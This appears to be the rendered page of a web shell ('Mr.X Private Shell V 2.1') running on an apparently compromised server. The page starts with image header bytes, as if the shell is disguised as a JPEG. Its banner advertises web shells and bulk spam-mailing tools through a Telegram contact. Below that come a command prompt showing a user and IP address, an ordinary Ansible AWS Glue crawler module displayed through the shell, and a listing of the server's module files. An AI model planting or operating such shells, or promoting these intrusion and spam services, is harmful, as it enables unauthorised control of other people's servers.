����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# Copyright: (c) 2018, Rob White (@wimnat)
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import (absolute_import, division, print_function)
__metaclass__ = type


DOCUMENTATION = r'''
---
module: glue_crawler
version_added: 4.1.0
short_description: Manage an AWS Glue crawler
description:
  - Manage an AWS Glue crawler. See U(https://aws.amazon.com/glue/) for details.
  - Prior to release 5.0.0 this module was called C(community.aws.aws_glue_crawler).
    The usage did not change.
author:
  - 'Ivan Chekaldin (@ichekaldin)'
options:
  database_name:
    description:
      - The name of the database where results are written.
    type: str
  description:
    description:
      - Description of the crawler being defined.
    type: str
  name:
    description:
      - The name you assign to this crawler definition. It must be unique in your account.
    required: true
    type: str
  recrawl_policy:
    description:
      - A policy that specifies whether to crawl the entire dataset again, or to crawl only folders that were added since the last crawler run.
    suboptions:
      recrawl_behavior:
        description:
          - Specifies whether to crawl the entire dataset again or to crawl only folders that were added since the last crawler run.
          - Supported options are C(CRAWL_EVERYTHING) and C(CRAWL_NEW_FOLDERS_ONLY).
        type: str
    type: dict
  role:
    description:
      - The name or ARN of the IAM role associated with this crawler.
      - Required when I(state=present).
    type: str
  schema_change_policy:
    description:
      - The policy for the crawler's update and deletion behavior.
    suboptions:
      delete_behavior:
        description:
          - Defines the deletion behavior when the crawler finds a deleted object.
          - Supported options are C(LOG), C(DELETE_FROM_DATABASE), and C(DEPRECATE_IN_DATABASE).
        type: str
      update_behavior:
        description:
          - Defines the update behavior when the crawler finds a changed schema..
          - Supported options are C(LOG) and C(UPDATE_IN_DATABASE).
        type: str
    type: dict
  state:
    description:
      - Create or delete the AWS Glue crawler.
    required: true
    choices: [ 'present', 'absent' ]
    type: str
  table_prefix:
    description:
      - The table prefix used for catalog tables that are created.
    type: str
  targets:
    description:
      - A list of targets to crawl. See example below.
      - Required when I(state=present).
    type: dict
extends_documentation_fragment:
  - amazon.aws.aws
  - amazon.aws.ec2
  - amazon.aws.boto3
  - amazon.aws.tags
'''

EXAMPLES = r'''
# Note: These examples do not set authentication details, see the AWS Guide for details.

# Create an AWS Glue crawler
- community.aws.glue_crawler:
    name: my-glue-crawler
    database_name: my_database
    role: my-iam-role
    schema_change_policy:
      delete_behavior: DELETE_FROM_DATABASE
      update_behavior: UPDATE_IN_DATABASE
    recrawl_policy:
      recrawl_ehavior: CRAWL_EVERYTHING
    targets:
      S3Targets:
        - Path: "s3://my-bucket/prefix/folder/"
          ConnectionName: my-connection
          Exclusions:
            - "**.json"
            - "**.yml"
    state: present

# Delete an AWS Glue crawler
- community.aws.glue_crawler:
    name: my-glue-crawler
    state: absent
'''

RETURN = r'''
creation_time:
    description: The time and date that this crawler definition was created.
    returned: when state is present
    type: str
    sample: '2021-04-01T05:19:58.326000+00:00'
database_name:
    description: The name of the database where results are written.
    returned: when state is present
    type: str
    sample: my_table
description:
    description: Description of the crawler.
    returned: when state is present
    type: str
    sample: My crawler
last_updated:
    description: The time and date that this crawler definition was last updated.
    returned: when state is present
    type: str
    sample: '2021-04-01T05:19:58.326000+00:00'
name:
    description: The name of the AWS Glue crawler.
    returned: always
    type: str
    sample: my-glue-crawler
recrawl_policy:
    description: A policy that specifies whether to crawl the entire dataset again, or to crawl only folders that were added since the last crawler run.
    returned: when state is present
    type: complex
    contains:
        RecrawlBehavior:
            description: Whether to crawl the entire dataset again or to crawl only folders that were added since the last crawler run.
            returned: when state is present
            type: str
            sample: CRAWL_EVERYTHING
role:
    description: The name or ARN of the IAM role associated with this crawler.
    returned: when state is present
    type: str
    sample: my-iam-role
schema_change_policy:
    description: The policy for the crawler's update and deletion behavior.
    returned: when state is present
    type: complex
    contains:
        DeleteBehavior:
            description: The deletion behavior when the crawler finds a deleted object.
            returned: when state is present
            type: str
            sample: DELETE_FROM_DATABASE
        UpdateBehavior:
            description: The update behavior when the crawler finds a changed schema.
            returned: when state is present
            type: str
            sample: UPDATE_IN_DATABASE

table_prefix:
    description: The table prefix used for catalog tables that are created.
    returned: when state is present
    type: str
    sample: my_prefix
targets:
    description: A list of targets to crawl.
    returned: when state is present
    type: complex
    contains:
        S3Targets:
            description: List of S3 targets.
            returned: when state is present
            type: list
        JdbcTargets:
            description: List of JDBC targets.
            returned: when state is present
            type: list
        MongoDBTargets:
            description: List of Mongo DB targets.
            returned: when state is present
            type: list
        DynamoDBTargets:
            description: List of DynamoDB targets.
            returned: when state is present
            type: list
        CatalogTargets:
            description: List of catalog targets.
            returned: when state is present
            type: list
'''

try:
    import botocore
except ImportError:
    pass  # Handled by AnsibleAWSModule

from ansible.module_utils.common.dict_transformations import camel_dict_to_snake_dict
from ansible.module_utils.common.dict_transformations import snake_dict_to_camel_dict

from ansible_collections.amazon.aws.plugins.module_utils.core import AnsibleAWSModule
from ansible_collections.amazon.aws.plugins.module_utils.core import is_boto3_error_code
from ansible_collections.amazon.aws.plugins.module_utils.ec2 import AWSRetry
from ansible_collections.amazon.aws.plugins.module_utils.ec2 import compare_aws_tags
from ansible_collections.amazon.aws.plugins.module_utils.iam import get_aws_account_info


def _get_glue_crawler(connection, module, glue_crawler_name):
    '''
    Get an AWS Glue crawler based on name. If not found, return None.
    '''
    try:
        return connection.get_crawler(aws_retry=True, Name=glue_crawler_name)['Crawler']
    except is_boto3_error_code('EntityNotFoundException'):
        return None
    except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError) as e:  # pylint: disable=duplicate-except
        module.fail_json_aws(e)


def _trim_targets(targets):
    return [_trim_target(t) for t in targets]


def _trim_target(target):
    """
    Some target types have optional parameters which AWS will fill in and return
    To compare the desired targets and the current targets we need to ignore the defaults
    """
    if not target:
        return None
    retval = target.copy()
    if not retval.get('Exclusions', None):
        retval.pop('Exclusions', None)
    return retval


def _compare_glue_crawler_params(user_params, current_params):
    '''
    Compare Glue crawler params. If there is a difference, return True immediately else return False
    '''
    if 'DatabaseName' in user_params and user_params['DatabaseName'] != current_params['DatabaseName']:
        return True
    if 'Description' in user_params and user_params['Description'] != current_params['Description']:
        return True
    if 'RecrawlPolicy' in user_params and user_params['RecrawlPolicy'] != current_params['RecrawlPolicy']:
        return True
    if 'Role' in user_params and user_params['Role'] != current_params['Role']:
        return True
    if 'SchemaChangePolicy' in user_params and user_params['SchemaChangePolicy'] != current_params['SchemaChangePolicy']:
        return True
    if 'TablePrefix' in user_params and user_params['TablePrefix'] != current_params['TablePrefix']:
        return True
    if 'Targets' in user_params:
        if 'S3Targets' in user_params['Targets']:
            if _trim_targets(user_params['Targets']['S3Targets']) != _trim_targets(current_params['Targets']['S3Targets']):
                return True
        if 'JdbcTargets' in user_params['Targets'] and user_params['Targets']['JdbcTargets'] != current_params['Targets']['JdbcTargets']:
            if _trim_targets(user_params['Targets']['JdbcTargets']) != _trim_targets(current_params['Targets']['JdbcTargets']):
                return True
        if 'MongoDBTargets' in user_params['Targets'] and user_params['Targets']['MongoDBTargets'] != current_params['Targets']['MongoDBTargets']:
            return True
        if 'DynamoDBTargets' in user_params['Targets'] and user_params['Targets']['DynamoDBTargets'] != current_params['Targets']['DynamoDBTargets']:
            return True
        if 'CatalogTargets' in user_params['Targets'] and user_params['Targets']['CatalogTargets'] != current_params['Targets']['CatalogTargets']:
            return True

    return False


def ensure_tags(connection, module, glue_crawler):
    changed = False

    if module.params.get('tags') is None:
        return False

    account_id, partition = get_aws_account_info(module)
    arn = 'arn:{0}:glue:{1}:{2}:crawler/{3}'.format(partition, module.region, account_id, module.params.get('name'))

    try:
        existing_tags = connection.get_tags(aws_retry=True, ResourceArn=arn).get('Tags', {})
    except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError) as e:
        if module.check_mode:
            existing_tags = {}
        else:
            module.fail_json_aws(e, msg='Unable to get tags for Glue crawler %s' % module.params.get('name'))

    tags_to_add, tags_to_remove = compare_aws_tags(existing_tags, module.params.get('tags'), module.params.get('purge_tags'))

    if tags_to_remove:
        changed = True
        if not module.check_mode:
            try:
                connection.untag_resource(aws_retry=True, ResourceArn=arn, TagsToRemove=tags_to_remove)
            except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError) as e:
                module.fail_json_aws(e, msg='Unable to set tags for Glue crawler %s' % module.params.get('name'))

    if tags_to_add:
        changed = True
        if not module.check_mode:
            try:
                connection.tag_resource(aws_retry=True, ResourceArn=arn, TagsToAdd=tags_to_add)
            except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError) as e:
                module.fail_json_aws(e, msg='Unable to set tags for Glue crawler %s' % module.params.get('name'))

    return changed


def create_or_update_glue_crawler(connection, module, glue_crawler):
    '''
    Create or update an AWS Glue crawler
    '''

    changed = False
    params = dict()
    params['Name'] = module.params.get('name')
    params['Role'] = module.params.get('role')
    params['Targets'] = module.params.get('targets')
    if module.params.get('database_name') is not None:
        params['DatabaseName'] = module.params.get('database_name')
    if module.params.get('description') is not None:
        params['Description'] = module.params.get('description')
    if module.params.get('recrawl_policy') is not None:
        params['RecrawlPolicy'] = snake_dict_to_camel_dict(module.params.get('recrawl_policy'), capitalize_first=True)
    if module.params.get('role') is not None:
        params['Role'] = module.params.get('role')
    if module.params.get('schema_change_policy') is not None:
        params['SchemaChangePolicy'] = snake_dict_to_camel_dict(module.params.get('schema_change_policy'), capitalize_first=True)
    if module.params.get('table_prefix') is not None:
        params['TablePrefix'] = module.params.get('table_prefix')
    if module.params.get('targets') is not None:
        params['Targets'] = module.params.get('targets')

    if glue_crawler:
        if _compare_glue_crawler_params(params, glue_crawler):
            try:
                if not module.check_mode:
                    connection.update_crawler(aws_retry=True, **params)
                changed = True
            except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError) as e:
                module.fail_json_aws(e)
    else:
        try:
            if not module.check_mode:
                connection.create_crawler(aws_retry=True, **params)
            changed = True
        except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError) as e:
            module.fail_json_aws(e)

    glue_crawler = _get_glue_crawler(connection, module, params['Name'])

    changed |= ensure_tags(connection, module, glue_crawler)

    module.exit_json(changed=changed, **camel_dict_to_snake_dict(glue_crawler or {}, ignore_list=['SchemaChangePolicy', 'RecrawlPolicy', 'Targets']))


def delete_glue_crawler(connection, module, glue_crawler):
    '''
    Delete an AWS Glue crawler
    '''
    changed = False

    if glue_crawler:
        try:
            if not module.check_mode:
                connection.delete_crawler(aws_retry=True, Name=glue_crawler['Name'])
            changed = True
        except (botocore.exceptions.ClientError, botocore.exceptions.BotoCoreError) as e:
            module.fail_json_aws(e)

    module.exit_json(changed=changed)


def main():

    argument_spec = (
        dict(
            database_name=dict(type='str'),
            description=dict(type='str'),
            name=dict(required=True, type='str'),
            purge_tags=dict(type='bool', default=True),
            recrawl_policy=dict(type='dict', options=dict(
                recrawl_behavior=dict(type='str')
            )),
            role=dict(type='str'),
            schema_change_policy=dict(type='dict', options=dict(
                delete_behavior=dict(type='str'),
                update_behavior=dict(type='str')
            )),
            state=dict(required=True, choices=['present', 'absent'], type='str'),
            table_prefix=dict(type='str'),
            tags=dict(type='dict', aliases=['resource_tags']),
            targets=dict(type='dict')
        )
    )

    module = AnsibleAWSModule(argument_spec=argument_spec,
                              required_if=[
                                  ('state', 'present', ['role', 'targets'])
                              ],
                              supports_check_mode=True
                              )

    connection = module.client('glue', retry_decorator=AWSRetry.jittered_backoff(retries=10))

    state = module.params.get('state')

    glue_crawler = _get_glue_crawler(connection, module, module.params.get('name'))

    if state == 'present':
        create_or_update_glue_crawler(connection, module, glue_crawler)
    else:
        delete_glue_crawler(connection, module, glue_crawler)


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
accessanalyzer_validate_policy_info.py File 8.57 KB 0644
acm_certificate.py File 21.94 KB 0644
acm_certificate_info.py File 9.61 KB 0644
api_gateway.py File 12.97 KB 0644
api_gateway_domain.py File 12.43 KB 0644
application_autoscaling_policy.py File 22.77 KB 0644
autoscaling_complete_lifecycle_action.py File 2.88 KB 0644
autoscaling_instance_refresh.py File 9.89 KB 0644
autoscaling_instance_refresh_info.py File 7.21 KB 0644
autoscaling_launch_config.py File 24.4 KB 0644
autoscaling_launch_config_find.py File 6.45 KB 0644
autoscaling_launch_config_info.py File 6.78 KB 0644
autoscaling_lifecycle_hook.py File 10.57 KB 0644
autoscaling_policy.py File 23.13 KB 0644
autoscaling_scheduled_action.py File 9.42 KB 0644
aws_region_info.py File 3.06 KB 0644
batch_compute_environment.py File 15.81 KB 0644
batch_job_definition.py File 15.89 KB 0644
batch_job_queue.py File 9.5 KB 0644
cloudformation_exports_info.py File 2.11 KB 0644
cloudformation_stack_set.py File 31.98 KB 0644
cloudfront_distribution.py File 98.71 KB 0644
cloudfront_distribution_info.py File 28.98 KB 0644
cloudfront_invalidation.py File 10 KB 0644
cloudfront_origin_access_identity.py File 9.38 KB 0644
cloudfront_response_headers_policy.py File 10.55 KB 0644
codebuild_project.py File 18.98 KB 0644
codecommit_repository.py File 7.94 KB 0644
codepipeline.py File 10.71 KB 0644
config_aggregation_authorization.py File 5.11 KB 0644
config_aggregator.py File 7.95 KB 0644
config_delivery_channel.py File 7.68 KB 0644
config_recorder.py File 7.7 KB 0644
config_rule.py File 9.85 KB 0644
data_pipeline.py File 20.86 KB 0644
directconnect_confirm_connection.py File 5.47 KB 0644
directconnect_connection.py File 12.34 KB 0644
directconnect_gateway.py File 13.25 KB 0644
directconnect_link_aggregation_group.py File 17.75 KB 0644
directconnect_virtual_interface.py File 17.79 KB 0644
dms_endpoint.py File 22.77 KB 0644
dms_replication_subnet_group.py File 7.58 KB 0644
dynamodb_table.py File 35.98 KB 0644
dynamodb_ttl.py File 4.61 KB 0644
ec2_ami_copy.py File 6.98 KB 0644
ec2_customer_gateway.py File 7.89 KB 0644
ec2_customer_gateway_info.py File 4.59 KB 0644
ec2_launch_template.py File 35.09 KB 0644
ec2_placement_group.py File 7.33 KB 0644
ec2_placement_group_info.py File 3.12 KB 0644
ec2_snapshot_copy.py File 5.41 KB 0644
ec2_transit_gateway.py File 17.24 KB 0644
ec2_transit_gateway_info.py File 8.87 KB 0644
ec2_transit_gateway_vpc_attachment.py File 10.92 KB 0644
ec2_transit_gateway_vpc_attachment_info.py File 5.61 KB 0644
ec2_vpc_egress_igw.py File 6.15 KB 0644
ec2_vpc_nacl.py File 21.18 KB 0644
ec2_vpc_nacl_info.py File 7.17 KB 0644
ec2_vpc_peer.py File 20.84 KB 0644
ec2_vpc_peering_info.py File 8.97 KB 0644
ec2_vpc_vgw.py File 19.07 KB 0644
ec2_vpc_vgw_info.py File 5.68 KB 0644
ec2_vpc_vpn.py File 31.5 KB 0644
ec2_vpc_vpn_info.py File 7.29 KB 0644
ec2_win_password.py File 6.92 KB 0644
ecs_attribute.py File 9.78 KB 0644
ecs_cluster.py File 13.19 KB 0644
ecs_ecr.py File 21.46 KB 0644
ecs_service.py File 52.33 KB 0644
ecs_service_info.py File 8.5 KB 0644
ecs_tag.py File 7.35 KB 0644
ecs_task.py File 17.41 KB 0644
ecs_taskdefinition.py File 52.04 KB 0644
ecs_taskdefinition_info.py File 13.78 KB 0644
efs.py File 28.21 KB 0644
efs_info.py File 12.85 KB 0644
efs_tag.py File 5.45 KB 0644
eks_cluster.py File 9.62 KB 0644
eks_fargate_profile.py File 11.73 KB 0644
eks_nodegroup.py File 26.17 KB 0644
elasticache.py File 19.82 KB 0644
elasticache_info.py File 17.68 KB 0644
elasticache_parameter_group.py File 13.25 KB 0644
elasticache_snapshot.py File 6.82 KB 0644
elasticache_subnet_group.py File 7.56 KB 0644
elasticbeanstalk_app.py File 7.15 KB 0644
elb_classic_lb_info.py File 7.48 KB 0644
elb_instance.py File 14.27 KB 0644
elb_network_lb.py File 19.14 KB 0644
elb_target.py File 11.59 KB 0644
elb_target_group.py File 43.95 KB 0644
elb_target_group_info.py File 11.46 KB 0644
elb_target_info.py File 15.78 KB 0644
glue_connection.py File 15.36 KB 0644
glue_crawler.py File 15.58 KB 0644
glue_job.py File 18.09 KB 0644
iam_access_key.py File 9.94 KB 0644
iam_access_key_info.py File 3.56 KB 0644
iam_group.py File 16.21 KB 0644
iam_managed_policy.py File 14.16 KB 0644
iam_mfa_device_info.py File 2.92 KB 0644
iam_password_policy.py File 7.15 KB 0644
iam_role.py File 29.67 KB 0644
iam_role_info.py File 9.36 KB 0644
iam_saml_federation.py File 9.01 KB 0644
iam_server_certificate.py File 12.14 KB 0644
iam_server_certificate_info.py File 4.85 KB 0644
inspector_target.py File 7.73 KB 0644
kinesis_stream.py File 40.98 KB 0644
lightsail.py File 10.15 KB 0644
lightsail_static_ip.py File 3.89 KB 0644
msk_cluster.py File 31.56 KB 0644
msk_config.py File 9.28 KB 0644
networkfirewall.py File 11.7 KB 0644
networkfirewall_info.py File 7.24 KB 0644
networkfirewall_policy.py File 16.36 KB 0644
networkfirewall_policy_info.py File 8.78 KB 0644
networkfirewall_rule_group.py File 32.96 KB 0644
networkfirewall_rule_group_info.py File 17.8 KB 0644
opensearch.py File 55.85 KB 0644
opensearch_info.py File 19.48 KB 0644
redshift.py File 23.82 KB 0644
redshift_cross_region_snapshots.py File 6.7 KB 0644
redshift_info.py File 10.04 KB 0644
redshift_subnet_group.py File 8.18 KB 0644
s3_bucket_info.py File 20.69 KB 0644
s3_bucket_notification.py File 14.04 KB 0644
s3_cors.py File 4.18 KB 0644
s3_lifecycle.py File 26.91 KB 0644
s3_logging.py File 6.76 KB 0644
s3_metrics_configuration.py File 7.31 KB 0644
s3_sync.py File 18.77 KB 0644
s3_website.py File 11.37 KB 0644
secretsmanager_secret.py File 24.07 KB 0644
ses_identity.py File 22.99 KB 0644
ses_identity_policy.py File 7.39 KB 0644
ses_rule_set.py File 8.17 KB 0644
sns.py File 7.26 KB 0644
sns_topic.py File 27.72 KB 0644
sns_topic_info.py File 6.13 KB 0644
sqs_queue.py File 16.62 KB 0644
ssm_parameter.py File 19.82 KB 0644
stepfunctions_state_machine.py File 7.96 KB 0644
stepfunctions_state_machine_execution.py File 6.59 KB 0644
storagegateway_info.py File 11.46 KB 0644
sts_assume_role.py File 5.69 KB 0644
sts_session_token.py File 4.44 KB 0644
waf_condition.py File 29.29 KB 0644
waf_info.py File 4.27 KB 0644
waf_rule.py File 13.05 KB 0644
waf_web_acl.py File 12.41 KB 0644
wafv2_ip_set.py File 11.29 KB 0644
wafv2_ip_set_info.py File 3.93 KB 0644
wafv2_resources.py File 4.73 KB 0644
wafv2_resources_info.py File 3.11 KB 0644
wafv2_rule_group.py File 13.82 KB 0644
wafv2_rule_group_info.py File 4.64 KB 0644
wafv2_web_acl.py File 19.46 KB 0644
wafv2_web_acl_info.py File 3.95 KB 0644